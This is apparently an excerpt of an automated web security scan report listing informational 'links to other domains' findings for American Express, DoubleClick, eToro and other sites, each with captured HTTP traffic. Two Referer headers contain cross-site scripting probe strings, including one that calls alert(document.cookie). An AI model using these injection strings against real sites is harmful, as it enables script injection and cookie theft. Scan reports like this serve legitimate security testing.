<div style="height: 0; line-height: 0; border: 0; margin: 0; padding: 0; display: none; "><img src="http://rts-rr13.sldc.dataxu.net/x/bcs0?btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw" /></div>
<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?" WIDTH=468 HEIGHT=60 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
<SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N553.158901.DATAXU/B4970757.11;abr=!ie;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?">
</SCRIPT>
<NOSCRIPT>
<A HREF="http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11;abr=!ie4;abr=!ie5;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?">
<IMG SRC="http://ad.doubleclick.net/ad/N553.158901.DATAXU/B4970757.11;abr=!ie4;abr=!ie5;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?" BORDER=0 WIDTH=468 HEIGHT=60 ALT="Advertisement"></A>
...[SNIP]...

20.12. https://cibng.ibanking-services.com/cib/CEBMainServlet/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cibng.ibanking-services.com
Path:	/cib/CEBMainServlet/Login

Issue detail

The page was loaded from a URL containing a query string:

https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066

The response contains the following link to another domain:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:55 GMT
Server: IBM_HTTP_Server
Pragma: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-Cache
Set-Cookie: wf=wf
Set-Cookie: sessionId=nullCookie; Path=/
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 9003

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Personal Savings from American Express : Welcome to Personal Savings from American
...[SNIP]...
</a> | <a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement" target="new_window">Privacy Statement</a>
...[SNIP]...

20.13. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?nid=owneriq1

The response contains the following link to another domain:

http://px.owneriq.net/cm?id=CAESEJ1QzO8syyE54_azrc6wYSw&cver=1

Request

GET /pixel?nid=owneriq1 HTTP/1.1
Host: cm.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Found
Location: http://px.owneriq.net/cm?id=CAESEJ1QzO8syyE54_azrc6wYSw&cver=1
Date: Sat, 05 Feb 2011 21:54:13 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 263
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://px.owneriq.net/cm?id=CAESEJ1QzO8syyE54_azrc6wYSw&cver=1">here</A>
...[SNIP]...

20.14. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?nid=media6degrees

The response contains the following link to another domain:

http://idpix.media6degrees.com/orbserv/hbpix?pixId=2725&tpd=CAESEH83n07tNVfjJL0v2PBkqF8&cver=1

Request

GET /pixel?nid=media6degrees HTTP/1.1
Host: cm.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.slackbooks.com/essentialknee
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Found
Location: http://idpix.media6degrees.com/orbserv/hbpix?pixId=2725&tpd=CAESEH83n07tNVfjJL0v2PBkqF8&cver=1
Date: Sat, 05 Feb 2011 22:16:19 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 299
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://idpix.media6degrees.com/orbserv/hbpix?pixId=2725&tpd=CAESEH83n07tNVfjJL0v2PBkqF8&cver=1">here</A>
...[SNIP]...

20.15. http://corp.americanexpress.com/gcs/cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/

Issue detail

The page was loaded from a URL containing a query string:

http://corp.americanexpress.com/gcs/cards/?inav=menu_cards_cs_cardprograms

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://businesstravelconnexion.com/?inav=corp_busitravelcommunity
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amexb4b.com/
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.macromedia.com/software/flashplayer/
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /gcs/cards/?inav=menu_cards_cs_cardprograms HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:24:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243-25649900930701; path=/; expires=Sat, 05-Feb-16 22:24:58 GMT; domain=.americanexpress.com
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=n2fgai55dkoiizr3qulnhp45; path=/
Cache-Control: public, max-age=90
Expires: Sat, 05 Feb 2011 22:26:28 GMT
Last-Modified: Sat, 05 Feb 2011 22:24:58 GMT
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 39923

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a title="" href="http://businesstravelconnexion.com/?inav=corp_busitravelcommunity" id="corp_busitravelcommunity">Business Travel Community</a>
...[SNIP]...
<div id="noFlash">You may be seeing this page because you do not have a current version of Flash. To best view this and other American Express Flash-based pages, please <a href="http://www.macromedia.com/software/flashplayer/" target="_blank">download the most recent plug-in</a>
...[SNIP]...
<li><a href="http://www.amexb4b.com">Business4Business</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.16. http://corp.americanexpress.com/gcs/cards/land/compare.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/land/compare.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://corp.americanexpress.com/gcs/cards/land/compare.aspx?inav=menu_cards_cs_comparecorpcards

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://businesstravelconnexion.com/?inav=corp_busitravelcommunity
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /gcs/cards/land/compare.aspx?inav=menu_cards_cs_comparecorpcards HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:24:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243-25649902180826; path=/; expires=Sat, 05-Feb-16 22:24:58 GMT; domain=.americanexpress.com
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=csaropak4petvqiwdvohovu5; path=/
Cache-Control: public, max-age=900
Expires: Sat, 05 Feb 2011 22:39:58 GMT
Last-Modified: Sat, 05 Feb 2011 22:24:58 GMT
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 40760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a title="" href="http://businesstravelconnexion.com/?inav=corp_busitravelcommunity" id="corp_busitravelcommunity">Business Travel Community</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.17. http://coverall.splunk.com/themes/splunk_com/scripts/js/global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/global.js

Issue detail

The page was loaded from a URL containing a query string:

http://coverall.splunk.com/themes/splunk_com/scripts/js/global.js?11-29-2010

The response contains the following link to another domain:

http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Request

GET /themes/splunk_com/scripts/js/global.js?11-29-2010 HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Last-Modified: Thu, 16 Dec 2010 22:23:26 GMT
ETag: "1159800184"
Content-Type: text/javascript
Accept-Ranges: bytes
Date: Sat, 05 Feb 2011 21:49:03 GMT
Server: lighttpd/1.4.22
Content-Length: 15445

// way to fire a page request in hidden iframe
// good for doing google analytics tracking for offsite
// links, PDFs etc.
function loadFrame(goto_url)
{
if ($("#loaderFrame").attr("id") != undefined
...[SNIP]...
</p><a href='http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash' target='_blank'>Click here</a>
...[SNIP]...

20.18. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

The page was loaded from a URL containing a query string:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01

The response contains the following links to other domains:

http://del.icio.us/post?url='+url+'&title='+pagetitle+'
http://www.facebook.com/share.php?u='+url+'&title='+pagetitle+'
http://www.google.com/buzz/post?url='+url+'&title='+pagetitle+'
http://www.kledy.de/submit.php?url='+url+'
http://www.linkedin.com/shareArticle?mini=true&url='+url+'&source=Yasni&title='+pagetitle+'
http://www.mister-wong.com/addurl/?bm_url='+url+'
http://www.mister-wong.de/addurl/?bm_url='+url+'&bm_title='+pagetitle+'
http://www.myspace.com/Modules/PostTo/Pages/?u='+url+'
http://www.studivz.net/Suggest/Selection/?u='+url+'&desc='+pagetitle+'&prov=www.yasni.de
https://www.xing.com/app/user?op=share;url='+url+';title='+pagetitle+'

Request

Response

HTTP/1.0 200 OK
x-amz-id-2: 64W55TJemnYkTx5+mS6VCSb78AFWVDXvu+MRO8n8vzPTHQUfZLrAmrKiQFgQzq/7
x-amz-request-id: 452F914991F9EFA5
Date: Wed, 02 Feb 2011 09:49:53 GMT
Last-Modified: Wed, 02 Feb 2011 09:45:16 GMT
ETag: "9575dfb614d5b0171c1ad922c4f80b5d"
Accept-Ranges: bytes
Content-Type: application/javascript
Content-Length: 67132
Server: AmazonS3
Age: 45112
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 02e48da2983151adb4ecb8ba2c9b0b43497fa38b2efa75a6ecedc4da68d899938e2d9dfed4bb40f8
Via: 1.0 80e249fb010044bf276e2c86b81c99a1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

var highlightedwordcount=0;jQuery.fn.highlight=function(b){function a(e,j){var l=0;if(e.nodeType==3){var k=e.data.toUpperCase().indexOf(j);var h=document.createElement("span");z=b.replace(/\s/g,"-");z
...[SNIP]...
</a>');document.write('<a href="http://www.facebook.com/share.php?u='+url+'&title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_facebook main_sprite" title="Facebook">
...[SNIP]...
</a>');document.write('<a href="https://www.xing.com/app/user?op=share;url='+url+';title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_xing main_sprite" title="Xing">
...[SNIP]...
</a>');document.write('<a href="http://www.linkedin.com/shareArticle?mini=true&url='+url+'&source=Yasni&title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_linkedin main_sprite" title="LinkedIn">
...[SNIP]...
</a>');document.write('<a href="http://www.studivz.net/Suggest/Selection/?u='+url+'&desc='+pagetitle+'&prov=www.yasni.de" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_vzgroup main_sprite" title="meinVZ">
...[SNIP]...
</a>');document.write('<a href="http://www.myspace.com/Modules/PostTo/Pages/?u='+url+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_myspace main_sprite" title="MySpace">
...[SNIP]...
</a>');if(region=="gb"||region=="com"){document.write('<a href="http://www.mister-wong.com/addurl/?bm_url='+url+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_misterwong main_sprite" title="Mister Wong">
...[SNIP]...
</a>');}else{document.write('<a href="http://www.mister-wong.de/addurl/?bm_url='+url+'&bm_title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_misterwong main_sprite" title="Mister Wong">
...[SNIP]...
</a>');}
document.write('<a href="http://del.icio.us/post?url='+url+'&title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_delicious main_sprite" title="Delicious">
...[SNIP]...
</a>');document.write('<a href="http://www.kledy.de/submit.php?url='+url+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_kledy main_sprite" title="Kledy">
...[SNIP]...
</a>');document.write('<a href="http://www.google.com/buzz/post?url='+url+'&title='+pagetitle+'" target="_blank" rel="nofollow"><span class="bookmarks main_sprite-bookmark_googlebuzz main_sprite" title="Google Buzz">
...[SNIP]...

20.19. http://dslshop.vodafone.de/eshop/pv/97444194 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dslshop.vodafone.de
Path:	/eshop/pv/97444194

Issue detail

The page was loaded from a URL containing a query string:

http://dslshop.vodafone.de/eshop/pv/97444194?tsID=za1049301

The response contains the following links to other domains:

http://shop.vodafone.de/micropages/cookie-setting-page.htm?B_ID=667&S_ID=770&I_BOOL=0
http://www.vodafone.de/cookie-setting-page.html?B_ID=667&S_ID=770&I_BOOL=0

Request

Response

20.20. http://dws1.etoro.com/ApplicationServices/Calendar/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dws1.etoro.com
Path:	/ApplicationServices/Calendar/

Issue detail

The page was loaded from a URL containing a query string:

http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx

The response contains the following link to another domain:

http://ecal.forexpros.com/e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB

Request

GET /ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx HTTP/1.1
Host: dws1.etoro.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=zwjhr2550crukx45wptmra55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 1346

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title>
...[SNIP]...
<div id="ph">
<iframe id="iframe" src="http://ecal.forexpros.com/e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB" width="100%" height="100%" style="display:block;height:100%;"></iframe>
...[SNIP]...

20.21. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://ebus.ota.org
Path:	/default.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://ebus.ota.org/default.aspx?tabid=168&appl_code=MEMBERS

The response contains the following link to another domain:

https://seal.networksolutions.com/siteseal/javascript/siteseal.js

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.22. http://ecal.forexpros.com/e_cal.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The page was loaded from a URL containing a query string:

http://ecal.forexpros.com/e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB

The response contains the following links to other domains:

http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif
http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/drop_down.gif
http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/drop_down_transparent.gif
http://c1802182.cdn.cloudfiles.rackspacecloud.com/icons/icon_adjust_timezone.gif
http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif
http://www.abs.gov.au/
http://www.aigroup.asn.au/
http://www.anz.com/aus/corporate/Economic-Research-And-Publications/Economic-Research/Job-Advertisement-Series/default.asp
http://www.bcv.org.ve/c2/indicadores.asp
http://www.bi.go.id/web/en
http://www.boj.or.jp/en/type/press/koen07/index.htm

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:59 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=a6o1kn0utu76227b6d1n8dnmd0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107137

